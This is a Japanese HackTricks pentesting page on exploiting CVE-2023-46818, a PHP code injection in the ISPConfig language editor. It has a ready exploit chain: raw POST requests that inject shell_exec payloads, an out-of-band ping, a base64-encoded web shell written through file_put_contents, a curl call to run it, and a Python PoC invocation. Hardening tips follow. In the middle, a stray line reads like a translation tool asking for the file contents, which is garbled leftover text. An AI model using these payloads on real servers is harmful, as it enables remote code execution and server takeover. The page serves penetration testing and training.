ISPConfig
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
ISPConfigはオープンソースのホスティングコントロールパネルです。古い3.2.xのビルドには言語ファイル編集機能が含まれており、super administratorに対して有効になっていると、不正な翻訳レコードを介して任意のPHPコードを注入できました。これはweb serverコンテキストでRCEを引き起こし得、PHPの実行方法によってはprivilege escalationにつながる場合があります。
主なデフォルトパス:
- Web rootは
php -Sで提供される場合やApache/nginx経由の場合、/var/www/ispconfigにあることが多い。 - Admin UIはHTTP(S) vhost上でアクセス可能です(場合によってはlocalhostのみにバインドされていることがあるため、必要に応じてSSH port-forwardを使用してください)。
Tip: パネルがローカルにバインドされている場合(例:127.0.0.1:8080)、ポートフォワードしてください:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
言語エディタ PHP code injection (CVE-2023-46818)
- 影響を受ける: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- 前提条件:
- 組み込みの superadmin アカウント
adminでログイン(ベンダーによれば他のロールには影響なし) - Language editor must be enabled:
admin_allow_langedit=yesin/usr/local/ispconfig/security/security_settings.ini - 影響: 認証済みの admin が任意の PHP を注入し、それが言語ファイルに書き込まれてアプリケーションによって実行されることで、web コンテキストでの RCE を達成できる
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
手動での悪用フロー
- CSRF トークンを取得するために言語ファイルを開く/作成する
最初の POST を送信してフォームを初期化し、HTML レスポンスから CSRF フィールド(csrf_id, csrf_key)をパースする。例のリクエストパス: /admin/language_edit.php.
- records[] を通じて PHP を注入して保存する
CSRF フィールドと悪意のある翻訳レコードを含む 2 回目の POST を送信する。最小限のコマンド実行プローブ:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
アウト・オブ・バンド テスト(ICMPを監視):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- ファイルを書き込み、webshellを配置する
file_put_contentsを使用して、webから到達可能なパス(例:admin/)の下にファイルを作成します:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
次に、POSTボディ内の不正な文字を回避するために base64 を使ったシンプルな webshell を書きます:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
ファイルの内容が見えません。翻訳したい src/network-services-pentesting/pentesting-web/ispconfig.md のマークダウン本文をここに貼ってください。タグ、リンク、パス、コードはそのまま保持して翻訳します。
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
もし PHP が root として実行されている場合(例: root によって起動された php -S 127.0.0.1:8080 のように)、即座に root RCE が発生します。そうでない場合は、web サーバーのユーザーとしてコード実行を得ます。
Python PoC
すぐに使える exploit は token の処理と payload の配信を自動化します:
実行例:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Hardening
- 3.2.11p1以降にアップグレードする
- 言語エディターは厳密に必要でない限り無効にする:
admin_allow_langedit=no
- 管理パネルをrootで実行しないでください。PHP-FPMまたはwebサーバーを設定して権限を下げるようにしてください
- 組み込みの
adminアカウントに対して強力な認証を適用する
参考資料
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks